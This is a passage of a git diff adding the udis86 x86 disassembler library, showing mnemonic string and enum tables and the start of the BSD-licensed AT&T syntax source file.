"psubusw", + "psubw", + "pswapd", + "ptest", + "punpckhbw", + "punpckhdq", + "punpckhqdq", + "punpckhwd", + "punpcklbw", + "punpckldq", + "punpcklqdq", + "punpcklwd", + "push", + "pusha", + "pushad", + "pushfd", + "pushfq", + "pushfw", + "pxor", + "rcl", + "rcpps", + "rcpss", + "rcr", + "rdmsr", + "rdpmc", + "rdrand", + "rdtsc", + "rdtscp", + "rep", + "repne", + "ret", + "retf", + "rol", + "ror", + "roundpd", + "roundps", + "roundsd", + "roundss", + "rsm", + "rsqrtps", + "rsqrtss", + "sahf", + "salc", + "sar", + "sbb", + "scasb", + "scasd", + "scasq", + "scasw", + "seta", + "setae", + "setb", + "setbe", + "setg", + "setge", + "setl", + "setle", + "setno", + "setnp", + "setns", + "setnz", + "seto", + "setp", + "sets", + "setz", + "sfence", + "sgdt", + "shl", + "shld", + "shr", + "shrd", + "shufpd", + "shufps", + "sidt", + "skinit", + "sldt", + "smsw", + "sqrtpd", + "sqrtps", + "sqrtsd", + "sqrtss", + "stc", + "std", + "stgi", + "sti", + "stmxcsr", + "stosb", + "stosd", + "stosq", + "stosw", + "str", + "sub", + "subpd", + "subps", + "subsd", + "subss", + "swapgs", + "syscall", + "sysenter", + "sysexit", + "sysret", + "test", + "ucomisd", + "ucomiss", + "ud2", + "unpckhpd", + "unpckhps", + "unpcklpd", + "unpcklps", + "vaddpd", + "vaddps", + "vaddsd", + "vaddss", + "vaddsubpd", + "vaddsubps", + "vaesdec", + "vaesdeclast", + "vaesenc", + "vaesenclast", + "vaesimc", + "vaeskeygenassist", + "vandnpd", + "vandnps", + "vandpd", + "vandps", + "vblendpd", + "vblendps", + "vblendvpd", + "vblendvps", + "vbroadcastsd", + "vbroadcastss", + "vcmppd", + "vcmpps", + "vcmpsd", + "vcmpss", + "vcomisd", + "vcomiss", + "vcvtdq2pd", + "vcvtdq2ps", + "vcvtpd2dq", + "vcvtpd2ps", + "vcvtps2dq", + "vcvtps2pd", + "vcvtsd2si", + "vcvtsd2ss", + "vcvtsi2sd", + "vcvtsi2ss", + "vcvtss2sd", + "vcvtss2si", + "vcvttpd2dq", + "vcvttps2dq", + "vcvttsd2si", + "vcvttss2si", + "vdivpd", + "vdivps", + "vdivsd", + "vdivss", + "vdppd", + "vdpps", + "verr", + "verw", + "vextractf128", + "vextractps", + "vhaddpd", + "vhaddps", + "vhsubpd", + "vhsubps", + "vinsertf128", + "vinsertps", + "vlddqu", + "vmaskmovdqu", + "vmaskmovpd", + "vmaskmovps", + "vmaxpd", + "vmaxps", + "vmaxsd", + "vmaxss", + "vmcall", + "vmclear", + "vminpd", + "vminps", + "vminsd", + "vminss", + "vmlaunch", + "vmload", + "vmmcall", + "vmovapd", + "vmovaps", + "vmovd", + "vmovddup", + "vmovdqa", + "vmovdqu", + "vmovhlps", + "vmovhpd", + "vmovhps", + "vmovlhps", + "vmovlpd", + "vmovlps", + "vmovmskpd", + "vmovmskps", + "vmovntdq", + "vmovntdqa", + "vmovntpd", + "vmovntps", + "vmovq", + "vmovsd", + "vmovshdup", + "vmovsldup", + "vmovss", + "vmovupd", + "vmovups", + "vmpsadbw", + "vmptrld", + "vmptrst", + "vmread", + "vmresume", + "vmrun", + "vmsave", + "vmulpd", + "vmulps", + "vmulsd", + "vmulss", + "vmwrite", + "vmxoff", + "vmxon", + "vorpd", + "vorps", + "vpabsb", + "vpabsd", + "vpabsw", + "vpackssdw", + "vpacksswb", + "vpackusdw", + "vpackuswb", + "vpaddb", + "vpaddd", + "vpaddq", + "vpaddsb", + "vpaddsw", + "vpaddusb", + "vpaddusw", + "vpaddw", + "vpalignr", + "vpand", + "vpandn", + "vpavgb", + "vpavgw", + "vpblendvb", + "vpblendw", + "vpclmulqdq", + "vpcmpeqb", + "vpcmpeqd", + "vpcmpeqq", + "vpcmpeqw", + "vpcmpestri", + "vpcmpestrm", + "vpcmpgtb", + "vpcmpgtd", + "vpcmpgtq", + "vpcmpgtw", + "vpcmpistri", + "vpcmpistrm", + "vperm2f128", + "vpermilpd", + "vpermilps", + "vpextrb", + "vpextrd", + "vpextrq", + "vpextrw", + "vphaddd", + "vphaddsw", + "vphaddw", + "vphminposuw", + "vphsubd", + "vphsubsw", + "vphsubw", + "vpinsrb", + "vpinsrd", + "vpinsrq", + "vpinsrw", + "vpmaddubsw", + "vpmaddwd", + "vpmaxsb", + "vpmaxsd", + "vpmaxsw", + "vpmaxub", + "vpmaxud", + "vpmaxuw", + "vpminsb", + "vpminsd", + "vpminsw", + "vpminub", + "vpminud", + "vpminuw", + "vpmovmskb", + "vpmovsxbd", + "vpmovsxbq", + "vpmovsxbw", + "vpmovsxwd", + "vpmovsxwq", + "vpmovzxbd", + "vpmovzxbq", + "vpmovzxbw", + "vpmovzxdq", + "vpmovzxwd", + "vpmovzxwq", + "vpmuldq", + "vpmulhrsw", + "vpmulhuw", + "vpmulhw", + "vpmulld", + "vpmullw", + "vpor", + "vpsadbw", + "vpshufb", + "vpshufd", + "vpshufhw", + "vpshuflw", + "vpsignb", + "vpsignd", + "vpsignw", + "vpslld", + "vpslldq", + "vpsllq", + "vpsllw", + "vpsrad", + "vpsraw", + "vpsrld", + "vpsrldq", + "vpsrlq", + "vpsrlw", + "vpsubb", + "vpsubd", + "vpsubq", + "vpsubsb", + "vpsubsw", + "vpsubusb", + "vpsubusw", + "vpsubw", + "vptest", + "vpunpckhbw", + "vpunpckhdq", + "vpunpckhqdq", + "vpunpckhwd", + "vpunpcklbw", + "vpunpckldq", + "vpunpcklqdq", + "vpunpcklwd", + "vpxor", + "vrcpps", + "vrcpss", + "vroundpd", + "vroundps", + "vroundsd", + "vroundss", + "vrsqrtps", + "vrsqrtss", + "vshufpd", + "vshufps", + "vsqrtpd", + "vsqrtps", + "vsqrtsd", + "vsqrtss", + "vstmxcsr", + "vsubpd", + "vsubps", + "vsubsd", + "vsubss", + "vtestpd", + "vtestps", + "vucomisd", + "vucomiss", + "vunpckhpd", + "vunpckhps", + "vunpcklpd", + "vunpcklps", + "vxorpd", + "vxorps", + "vzeroall", + "vzeroupper", + "wait", + "wbinvd", + "wrmsr", + "xadd", + "xchg", + "xcryptcbc", + "xcryptcfb", + "xcryptctr", + "xcryptecb", + "xcryptofb", + "xgetbv", + "xlatb", + "xor", + "xorpd", + "xorps", + "xrstor", + "xsave", + "xsetbv", + "xsha1", + "xsha256", + "xstore", + "invalid", + "3dnow", + "none", + "db", + "pause" +}; diff --git a/lib/libudis86-sys/libudis86/itab.h b/lib/libudis86-sys/libudis86/itab.h new file mode 100644 index 0000000..3d54c43 --- /dev/null +++ b/lib/libudis86-sys/libudis86/itab.h @@ -0,0 +1,939 @@ +#ifndef UD_ITAB_H +#define UD_ITAB_H + +/* itab.h -- generated by udis86:scripts/ud_itab.py, do no edit */ + +/* ud_table_type -- lookup table types (see decode.c) */ +enum ud_table_type { + UD_TAB__OPC_VEX, + UD_TAB__OPC_TABLE, + UD_TAB__OPC_X87, + UD_TAB__OPC_MOD, + UD_TAB__OPC_RM, + UD_TAB__OPC_OSIZE, + UD_TAB__OPC_MODE, + UD_TAB__OPC_VEX_L, + UD_TAB__OPC_3DNOW, + UD_TAB__OPC_REG, + UD_TAB__OPC_ASIZE, + UD_TAB__OPC_VEX_W, + UD_TAB__OPC_SSE, + UD_TAB__OPC_VENDOR +}; + +/* ud_mnemonic -- mnemonic constants */ +enum ud_mnemonic_code { + UD_Iaaa, + UD_Iaad, + UD_Iaam, + UD_Iaas, + UD_Iadc, + UD_Iadd, + UD_Iaddpd, + UD_Iaddps, + UD_Iaddsd, + UD_Iaddss, + UD_Iaddsubpd, + UD_Iaddsubps, + UD_Iaesdec, + UD_Iaesdeclast, + UD_Iaesenc, + UD_Iaesenclast, + UD_Iaesimc, + UD_Iaeskeygenassist, + UD_Iand, + UD_Iandnpd, + UD_Iandnps, + UD_Iandpd, + UD_Iandps, + UD_Iarpl, + UD_Iblendpd, + UD_Iblendps, + UD_Iblendvpd, + UD_Iblendvps, + UD_Ibound, + UD_Ibsf, + UD_Ibsr, + UD_Ibswap, + UD_Ibt, + UD_Ibtc, + UD_Ibtr, + UD_Ibts, + UD_Icall, + UD_Icbw, + UD_Icdq, + UD_Icdqe, + UD_Iclc, + UD_Icld, + UD_Iclflush, + UD_Iclgi, + UD_Icli, + UD_Iclts, + UD_Icmc, + UD_Icmova, + UD_Icmovae, + UD_Icmovb, + UD_Icmovbe, + UD_Icmovg, + UD_Icmovge, + UD_Icmovl, + UD_Icmovle, + UD_Icmovno, + UD_Icmovnp, + UD_Icmovns, + UD_Icmovnz, + UD_Icmovo, + UD_Icmovp, + UD_Icmovs, + UD_Icmovz, + UD_Icmp, + UD_Icmppd, + UD_Icmpps, + UD_Icmpsb, + UD_Icmpsd, + UD_Icmpsq, + UD_Icmpss, + UD_Icmpsw, + UD_Icmpxchg, + UD_Icmpxchg16b, + UD_Icmpxchg8b, + UD_Icomisd, + UD_Icomiss, + UD_Icpuid, + UD_Icqo, + UD_Icrc32, + UD_Icvtdq2pd, + UD_Icvtdq2ps, + UD_Icvtpd2dq, + UD_Icvtpd2pi, + UD_Icvtpd2ps, + UD_Icvtpi2pd, + UD_Icvtpi2ps, + UD_Icvtps2dq, + UD_Icvtps2pd, + UD_Icvtps2pi, + UD_Icvtsd2si, + UD_Icvtsd2ss, + UD_Icvtsi2sd, + UD_Icvtsi2ss, + UD_Icvtss2sd, + UD_Icvtss2si, + UD_Icvttpd2dq, + UD_Icvttpd2pi, + UD_Icvttps2dq, + UD_Icvttps2pi, + UD_Icvttsd2si, + UD_Icvttss2si, + UD_Icwd, + UD_Icwde, + UD_Idaa, + UD_Idas, + UD_Idec, + UD_Idiv, + UD_Idivpd, + UD_Idivps, + UD_Idivsd, + UD_Idivss, + UD_Idppd, + UD_Idpps, + UD_Iemms, + UD_Ienter, + UD_Iextractps, + UD_If2xm1, + UD_Ifabs, + UD_Ifadd, + UD_Ifaddp, + UD_Ifbld, + UD_Ifbstp, + UD_Ifchs, + UD_Ifclex, + UD_Ifcmovb, + UD_Ifcmovbe, + UD_Ifcmove, + UD_Ifcmovnb, + UD_Ifcmovnbe, + UD_Ifcmovne, + UD_Ifcmovnu, + UD_Ifcmovu, + UD_Ifcom, + UD_Ifcom2, + UD_Ifcomi, + UD_Ifcomip, + UD_Ifcomp, + UD_Ifcomp3, + UD_Ifcomp5, + UD_Ifcompp, + UD_Ifcos, + UD_Ifdecstp, + UD_Ifdiv, + UD_Ifdivp, + UD_Ifdivr, + UD_Ifdivrp, + UD_Ifemms, + UD_Iffree, + UD_Iffreep, + UD_Ifiadd, + UD_Ificom, + UD_Ificomp, + UD_Ifidiv, + UD_Ifidivr, + UD_Ifild, + UD_Ifimul, + UD_Ifincstp, + UD_Ifist, + UD_Ifistp, + UD_Ifisttp, + UD_Ifisub, + UD_Ifisubr, + UD_Ifld, + UD_Ifld1, + UD_Ifldcw, + UD_Ifldenv, + UD_Ifldl2e, + UD_Ifldl2t, + UD_Ifldlg2, + UD_Ifldln2, + UD_Ifldpi, + UD_Ifldz, + UD_Ifmul, + UD_Ifmulp, + UD_Ifndisi, + UD_Ifneni, + UD_Ifninit, + UD_Ifnop, + UD_Ifnsave, + UD_Ifnsetpm, + UD_Ifnstcw, + UD_Ifnstenv, + UD_Ifnstsw, + UD_Ifpatan, + UD_Ifprem, + UD_Ifprem1, + UD_Ifptan, + UD_Ifrndint, + UD_Ifrstor, + UD_Ifrstpm, + UD_Ifscale, + UD_Ifsin, + UD_Ifsincos, + UD_Ifsqrt, + UD_Ifst, + UD_Ifstp, + UD_Ifstp1, + UD_Ifstp8, + UD_Ifstp9, + UD_Ifsub, + UD_Ifsubp, + UD_Ifsubr, + UD_Ifsubrp, + UD_Iftst, + UD_Ifucom, + UD_Ifucomi, + UD_Ifucomip, + UD_Ifucomp, + UD_Ifucompp, + UD_Ifxam, + UD_Ifxch, + UD_Ifxch4, + UD_Ifxch7, + UD_Ifxrstor, + UD_Ifxsave, + UD_Ifxtract, + UD_Ifyl2x, + UD_Ifyl2xp1, + UD_Igetsec, + UD_Ihaddpd, + UD_Ihaddps, + UD_Ihlt, + UD_Ihsubpd, + UD_Ihsubps, + UD_Iidiv, + UD_Iimul, + UD_Iin, + UD_Iinc, + UD_Iinsb, + UD_Iinsd, + UD_Iinsertps, + UD_Iinsw, + UD_Iint, + UD_Iint1, + UD_Iint3, + UD_Iinto, + UD_Iinvd, + UD_Iinvept, + UD_Iinvlpg, + UD_Iinvlpga, + UD_Iinvvpid, + UD_Iiretd, + UD_Iiretq, + UD_Iiretw, + UD_Ija, + UD_Ijae, + UD_Ijb, + UD_Ijbe, + UD_Ijcxz, + UD_Ijecxz, + UD_Ijg, + UD_Ijge, + UD_Ijl, + UD_Ijle, + UD_Ijmp, + UD_Ijno, + UD_Ijnp, + UD_Ijns, + UD_Ijnz, + UD_Ijo, + UD_Ijp, + UD_Ijrcxz, + UD_Ijs, + UD_Ijz, + UD_Ilahf, + UD_Ilar, + UD_Ilddqu, + UD_Ildmxcsr, + UD_Ilds, + UD_Ilea, + UD_Ileave, + UD_Iles, + UD_Ilfence, + UD_Ilfs, + UD_Ilgdt, + UD_Ilgs, + UD_Ilidt, + UD_Illdt, + UD_Ilmsw, + UD_Ilock, + UD_Ilodsb, + UD_Ilodsd, + UD_Ilodsq, + UD_Ilodsw, + UD_Iloop, + UD_Iloope, + UD_Iloopne, + UD_Ilsl, + UD_Ilss, + UD_Iltr, + UD_Imaskmovdqu, + UD_Imaskmovq, + UD_Imaxpd, + UD_Imaxps, + UD_Imaxsd, + UD_Imaxss, + UD_Imfence, + UD_Iminpd, + UD_Iminps, + UD_Iminsd, + UD_Iminss, + UD_Imonitor, + UD_Imontmul, + UD_Imov, + UD_Imovapd, + UD_Imovaps, + UD_Imovbe, + UD_Imovd, + UD_Imovddup, + UD_Imovdq2q, + UD_Imovdqa, + UD_Imovdqu, + UD_Imovhlps, + UD_Imovhpd, + UD_Imovhps, + UD_Imovlhps, + UD_Imovlpd, + UD_Imovlps, + UD_Imovmskpd, + UD_Imovmskps, + UD_Imovntdq, + UD_Imovntdqa, + UD_Imovnti, + UD_Imovntpd, + UD_Imovntps, + UD_Imovntq, + UD_Imovq, + UD_Imovq2dq, + UD_Imovsb, + UD_Imovsd, + UD_Imovshdup, + UD_Imovsldup, + UD_Imovsq, + UD_Imovss, + UD_Imovsw, + UD_Imovsx, + UD_Imovsxd, + UD_Imovupd, + UD_Imovups, + UD_Imovzx, + UD_Impsadbw, + UD_Imul, + UD_Imulpd, + UD_Imulps, + UD_Imulsd, + UD_Imulss, + UD_Imwait, + UD_Ineg, + UD_Inop, + UD_Inot, + UD_Ior, + UD_Iorpd, + UD_Iorps, + UD_Iout, + UD_Ioutsb, + UD_Ioutsd, + UD_Ioutsw, + UD_Ipabsb, + UD_Ipabsd, + UD_Ipabsw, + UD_Ipackssdw, + UD_Ipacksswb, + UD_Ipackusdw, + UD_Ipackuswb, + UD_Ipaddb, + UD_Ipaddd, + UD_Ipaddq, + UD_Ipaddsb, + UD_Ipaddsw, + UD_Ipaddusb, + UD_Ipaddusw, + UD_Ipaddw, + UD_Ipalignr, + UD_Ipand, + UD_Ipandn, + UD_Ipavgb, + UD_Ipavgusb, + UD_Ipavgw, + UD_Ipblendvb, + UD_Ipblendw, + UD_Ipclmulqdq, + UD_Ipcmpeqb, + UD_Ipcmpeqd, + UD_Ipcmpeqq, + UD_Ipcmpeqw, + UD_Ipcmpestri, + UD_Ipcmpestrm, + UD_Ipcmpgtb, + UD_Ipcmpgtd, + UD_Ipcmpgtq, + UD_Ipcmpgtw, + UD_Ipcmpistri, + UD_Ipcmpistrm, + UD_Ipextrb, + UD_Ipextrd, + UD_Ipextrq, + UD_Ipextrw, + UD_Ipf2id, + UD_Ipf2iw, + UD_Ipfacc, + UD_Ipfadd, + UD_Ipfcmpeq, + UD_Ipfcmpge, + UD_Ipfcmpgt, + UD_Ipfmax, + UD_Ipfmin, + UD_Ipfmul, + UD_Ipfnacc, + UD_Ipfpnacc, + UD_Ipfrcp, + UD_Ipfrcpit1, + UD_Ipfrcpit2, + UD_Ipfrsqit1, + UD_Ipfrsqrt, + UD_Ipfsub, + UD_Ipfsubr, + UD_Iphaddd, + UD_Iphaddsw, + UD_Iphaddw, + UD_Iphminposuw, + UD_Iphsubd, + UD_Iphsubsw, + UD_Iphsubw, + UD_Ipi2fd, + UD_Ipi2fw, + UD_Ipinsrb, + UD_Ipinsrd, + UD_Ipinsrq, + UD_Ipinsrw, + UD_Ipmaddubsw, + UD_Ipmaddwd, + UD_Ipmaxsb, + UD_Ipmaxsd, + UD_Ipmaxsw, + UD_Ipmaxub, + UD_Ipmaxud, + UD_Ipmaxuw, + UD_Ipminsb, + UD_Ipminsd, + UD_Ipminsw, + UD_Ipminub, + UD_Ipminud, + UD_Ipminuw, + UD_Ipmovmskb, + UD_Ipmovsxbd, + UD_Ipmovsxbq, + UD_Ipmovsxbw, + UD_Ipmovsxdq, + UD_Ipmovsxwd, + UD_Ipmovsxwq, + UD_Ipmovzxbd, + UD_Ipmovzxbq, + UD_Ipmovzxbw, + UD_Ipmovzxdq, + UD_Ipmovzxwd, + UD_Ipmovzxwq, + UD_Ipmuldq, + UD_Ipmulhrsw, + UD_Ipmulhrw, + UD_Ipmulhuw, + UD_Ipmulhw, + UD_Ipmulld, + UD_Ipmullw, + UD_Ipmuludq, + UD_Ipop, + UD_Ipopa, + UD_Ipopad, + UD_Ipopcnt, + UD_Ipopfd, + UD_Ipopfq, + UD_Ipopfw, + UD_Ipor, + UD_Iprefetch, + UD_Iprefetchnta, + UD_Iprefetcht0, + UD_Iprefetcht1, + UD_Iprefetcht2, + UD_Ipsadbw, + UD_Ipshufb, + UD_Ipshufd, + UD_Ipshufhw, + UD_Ipshuflw, + UD_Ipshufw, + UD_Ipsignb, + UD_Ipsignd, + UD_Ipsignw, + UD_Ipslld, + UD_Ipslldq, + UD_Ipsllq, + UD_Ipsllw, + UD_Ipsrad, + UD_Ipsraw, + UD_Ipsrld, + UD_Ipsrldq, + UD_Ipsrlq, + UD_Ipsrlw, + UD_Ipsubb, + UD_Ipsubd, + UD_Ipsubq, + UD_Ipsubsb, + UD_Ipsubsw, + UD_Ipsubusb, + UD_Ipsubusw, + UD_Ipsubw, + UD_Ipswapd, + UD_Iptest, + UD_Ipunpckhbw, + UD_Ipunpckhdq, + UD_Ipunpckhqdq, + UD_Ipunpckhwd, + UD_Ipunpcklbw, + UD_Ipunpckldq, + UD_Ipunpcklqdq, + UD_Ipunpcklwd, + UD_Ipush, + UD_Ipusha, + UD_Ipushad, + UD_Ipushfd, + UD_Ipushfq, + UD_Ipushfw, + UD_Ipxor, + UD_Ircl, + UD_Ircpps, + UD_Ircpss, + UD_Ircr, + UD_Irdmsr, + UD_Irdpmc, + UD_Irdrand, + UD_Irdtsc, + UD_Irdtscp, + UD_Irep, + UD_Irepne, + UD_Iret, + UD_Iretf, + UD_Irol, + UD_Iror, + UD_Iroundpd, + UD_Iroundps, + UD_Iroundsd, + UD_Iroundss, + UD_Irsm, + UD_Irsqrtps, + UD_Irsqrtss, + UD_Isahf, + UD_Isalc, + UD_Isar, + UD_Isbb, + UD_Iscasb, + UD_Iscasd, + UD_Iscasq, + UD_Iscasw, + UD_Iseta, + UD_Isetae, + UD_Isetb, + UD_Isetbe, + UD_Isetg, + UD_Isetge, + UD_Isetl, + UD_Isetle, + UD_Isetno, + UD_Isetnp, + UD_Isetns, + UD_Isetnz, + UD_Iseto, + UD_Isetp, + UD_Isets, + UD_Isetz, + UD_Isfence, + UD_Isgdt, + UD_Ishl, + UD_Ishld, + UD_Ishr, + UD_Ishrd, + UD_Ishufpd, + UD_Ishufps, + UD_Isidt, + UD_Iskinit, + UD_Isldt, + UD_Ismsw, + UD_Isqrtpd, + UD_Isqrtps, + UD_Isqrtsd, + UD_Isqrtss, + UD_Istc, + UD_Istd, + UD_Istgi, + UD_Isti, + UD_Istmxcsr, + UD_Istosb, + UD_Istosd, + UD_Istosq, + UD_Istosw, + UD_Istr, + UD_Isub, + UD_Isubpd, + UD_Isubps, + UD_Isubsd, + UD_Isubss, + UD_Iswapgs, + UD_Isyscall, + UD_Isysenter, + UD_Isysexit, + UD_Isysret, + UD_Itest, + UD_Iucomisd, + UD_Iucomiss, + UD_Iud2, + UD_Iunpckhpd, + UD_Iunpckhps, + UD_Iunpcklpd, + UD_Iunpcklps, + UD_Ivaddpd, + UD_Ivaddps, + UD_Ivaddsd, + UD_Ivaddss, + UD_Ivaddsubpd, + UD_Ivaddsubps, + UD_Ivaesdec, + UD_Ivaesdeclast, + UD_Ivaesenc, + UD_Ivaesenclast, + UD_Ivaesimc, + UD_Ivaeskeygenassist, + UD_Ivandnpd, + UD_Ivandnps, + UD_Ivandpd, + UD_Ivandps, + UD_Ivblendpd, + UD_Ivblendps, + UD_Ivblendvpd, + UD_Ivblendvps, + UD_Ivbroadcastsd, + UD_Ivbroadcastss, + UD_Ivcmppd, + UD_Ivcmpps, + UD_Ivcmpsd, + UD_Ivcmpss, + UD_Ivcomisd, + UD_Ivcomiss, + UD_Ivcvtdq2pd, + UD_Ivcvtdq2ps, + UD_Ivcvtpd2dq, + UD_Ivcvtpd2ps, + UD_Ivcvtps2dq, + UD_Ivcvtps2pd, + UD_Ivcvtsd2si, + UD_Ivcvtsd2ss, + UD_Ivcvtsi2sd, + UD_Ivcvtsi2ss, + UD_Ivcvtss2sd, + UD_Ivcvtss2si, + UD_Ivcvttpd2dq, + UD_Ivcvttps2dq, + UD_Ivcvttsd2si, + UD_Ivcvttss2si, + UD_Ivdivpd, + UD_Ivdivps, + UD_Ivdivsd, + UD_Ivdivss, + UD_Ivdppd, + UD_Ivdpps, + UD_Iverr, + UD_Iverw, + UD_Ivextractf128, + UD_Ivextractps, + UD_Ivhaddpd, + UD_Ivhaddps, + UD_Ivhsubpd, + UD_Ivhsubps, + UD_Ivinsertf128, + UD_Ivinsertps, + UD_Ivlddqu, + UD_Ivmaskmovdqu, + UD_Ivmaskmovpd, + UD_Ivmaskmovps, + UD_Ivmaxpd, + UD_Ivmaxps, + UD_Ivmaxsd, + UD_Ivmaxss, + UD_Ivmcall, + UD_Ivmclear, + UD_Ivminpd, + UD_Ivminps, + UD_Ivminsd, + UD_Ivminss, + UD_Ivmlaunch, + UD_Ivmload, + UD_Ivmmcall, + UD_Ivmovapd, + UD_Ivmovaps, + UD_Ivmovd, + UD_Ivmovddup, + UD_Ivmovdqa, + UD_Ivmovdqu, + UD_Ivmovhlps, + UD_Ivmovhpd, + UD_Ivmovhps, + UD_Ivmovlhps, + UD_Ivmovlpd, + UD_Ivmovlps, + UD_Ivmovmskpd, + UD_Ivmovmskps, + UD_Ivmovntdq, + UD_Ivmovntdqa, + UD_Ivmovntpd, + UD_Ivmovntps, + UD_Ivmovq, + UD_Ivmovsd, + UD_Ivmovshdup, + UD_Ivmovsldup, + UD_Ivmovss, + UD_Ivmovupd, + UD_Ivmovups, + UD_Ivmpsadbw, + UD_Ivmptrld, + UD_Ivmptrst, + UD_Ivmread, + UD_Ivmresume, + UD_Ivmrun, + UD_Ivmsave, + UD_Ivmulpd, + UD_Ivmulps, + UD_Ivmulsd, + UD_Ivmulss, + UD_Ivmwrite, + UD_Ivmxoff, + UD_Ivmxon, + UD_Ivorpd, + UD_Ivorps, + UD_Ivpabsb, + UD_Ivpabsd, + UD_Ivpabsw, + UD_Ivpackssdw, + UD_Ivpacksswb, + UD_Ivpackusdw, + UD_Ivpackuswb, + UD_Ivpaddb, + UD_Ivpaddd, + UD_Ivpaddq, + UD_Ivpaddsb, + UD_Ivpaddsw, + UD_Ivpaddusb, + UD_Ivpaddusw, + UD_Ivpaddw, + UD_Ivpalignr, + UD_Ivpand, + UD_Ivpandn, + UD_Ivpavgb, + UD_Ivpavgw, + UD_Ivpblendvb, + UD_Ivpblendw, + UD_Ivpclmulqdq, + UD_Ivpcmpeqb, + UD_Ivpcmpeqd, + UD_Ivpcmpeqq, + UD_Ivpcmpeqw, + UD_Ivpcmpestri, + UD_Ivpcmpestrm, + UD_Ivpcmpgtb, + UD_Ivpcmpgtd, + UD_Ivpcmpgtq, + UD_Ivpcmpgtw, + UD_Ivpcmpistri, + UD_Ivpcmpistrm, + UD_Ivperm2f128, + UD_Ivpermilpd, + UD_Ivpermilps, + UD_Ivpextrb, + UD_Ivpextrd, + UD_Ivpextrq, + UD_Ivpextrw, + UD_Ivphaddd, + UD_Ivphaddsw, + UD_Ivphaddw, + UD_Ivphminposuw, + UD_Ivphsubd, + UD_Ivphsubsw, + UD_Ivphsubw, + UD_Ivpinsrb, + UD_Ivpinsrd, + UD_Ivpinsrq, + UD_Ivpinsrw, + UD_Ivpmaddubsw, + UD_Ivpmaddwd, + UD_Ivpmaxsb, + UD_Ivpmaxsd, + UD_Ivpmaxsw, + UD_Ivpmaxub, + UD_Ivpmaxud, + UD_Ivpmaxuw, + UD_Ivpminsb, + UD_Ivpminsd, + UD_Ivpminsw, + UD_Ivpminub, + UD_Ivpminud, + UD_Ivpminuw, + UD_Ivpmovmskb, + UD_Ivpmovsxbd, + UD_Ivpmovsxbq, + UD_Ivpmovsxbw, + UD_Ivpmovsxwd, + UD_Ivpmovsxwq, + UD_Ivpmovzxbd, + UD_Ivpmovzxbq, + UD_Ivpmovzxbw, + UD_Ivpmovzxdq, + UD_Ivpmovzxwd, + UD_Ivpmovzxwq, + UD_Ivpmuldq, + UD_Ivpmulhrsw, + UD_Ivpmulhuw, + UD_Ivpmulhw, + UD_Ivpmulld, + UD_Ivpmullw, + UD_Ivpor, + UD_Ivpsadbw, + UD_Ivpshufb, + UD_Ivpshufd, + UD_Ivpshufhw, + UD_Ivpshuflw, + UD_Ivpsignb, + UD_Ivpsignd, + UD_Ivpsignw, + UD_Ivpslld, + UD_Ivpslldq, + UD_Ivpsllq, + UD_Ivpsllw, + UD_Ivpsrad, + UD_Ivpsraw, + UD_Ivpsrld, + UD_Ivpsrldq, + UD_Ivpsrlq, + UD_Ivpsrlw, + UD_Ivpsubb, + UD_Ivpsubd, + UD_Ivpsubq, + UD_Ivpsubsb, + UD_Ivpsubsw, + UD_Ivpsubusb, + UD_Ivpsubusw, + UD_Ivpsubw, + UD_Ivptest, + UD_Ivpunpckhbw, + UD_Ivpunpckhdq, + UD_Ivpunpckhqdq, + UD_Ivpunpckhwd, + UD_Ivpunpcklbw, + UD_Ivpunpckldq, + UD_Ivpunpcklqdq, + UD_Ivpunpcklwd, + UD_Ivpxor, + UD_Ivrcpps, + UD_Ivrcpss, + UD_Ivroundpd, + UD_Ivroundps, + UD_Ivroundsd, + UD_Ivroundss, + UD_Ivrsqrtps, + UD_Ivrsqrtss, + UD_Ivshufpd, + UD_Ivshufps, + UD_Ivsqrtpd, + UD_Ivsqrtps, + UD_Ivsqrtsd, + UD_Ivsqrtss, + UD_Ivstmxcsr, + UD_Ivsubpd, + UD_Ivsubps, + UD_Ivsubsd, + UD_Ivsubss, + UD_Ivtestpd, + UD_Ivtestps, + UD_Ivucomisd, + UD_Ivucomiss, + UD_Ivunpckhpd, + UD_Ivunpckhps, + UD_Ivunpcklpd, + UD_Ivunpcklps, + UD_Ivxorpd, + UD_Ivxorps, + UD_Ivzeroall, + UD_Ivzeroupper, + UD_Iwait, + UD_Iwbinvd, + UD_Iwrmsr, + UD_Ixadd, + UD_Ixchg, + UD_Ixcryptcbc, + UD_Ixcryptcfb, + UD_Ixcryptctr, + UD_Ixcryptecb, + UD_Ixcryptofb, + UD_Ixgetbv, + UD_Ixlatb, + UD_Ixor, + UD_Ixorpd, + UD_Ixorps, + UD_Ixrstor, + UD_Ixsave, + UD_Ixsetbv, + UD_Ixsha1, + UD_Ixsha256, + UD_Ixstore, + UD_Iinvalid, + UD_I3dnow, + UD_Inone, + UD_Idb, + UD_Ipause, + UD_MAX_MNEMONIC_CODE +}; + +extern const char * ud_mnemonics_str[]; + +#endif /* UD_ITAB_H */ diff --git a/lib/libudis86-sys/libudis86/syn-att.c b/lib/libudis86-sys/libudis86/syn-att.c new file mode 100644 index 0000000..d1ba89b --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn-att.c @@ -0,0 +1,228 @@ +/* udis86 - libudis86/syn-att.c + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + 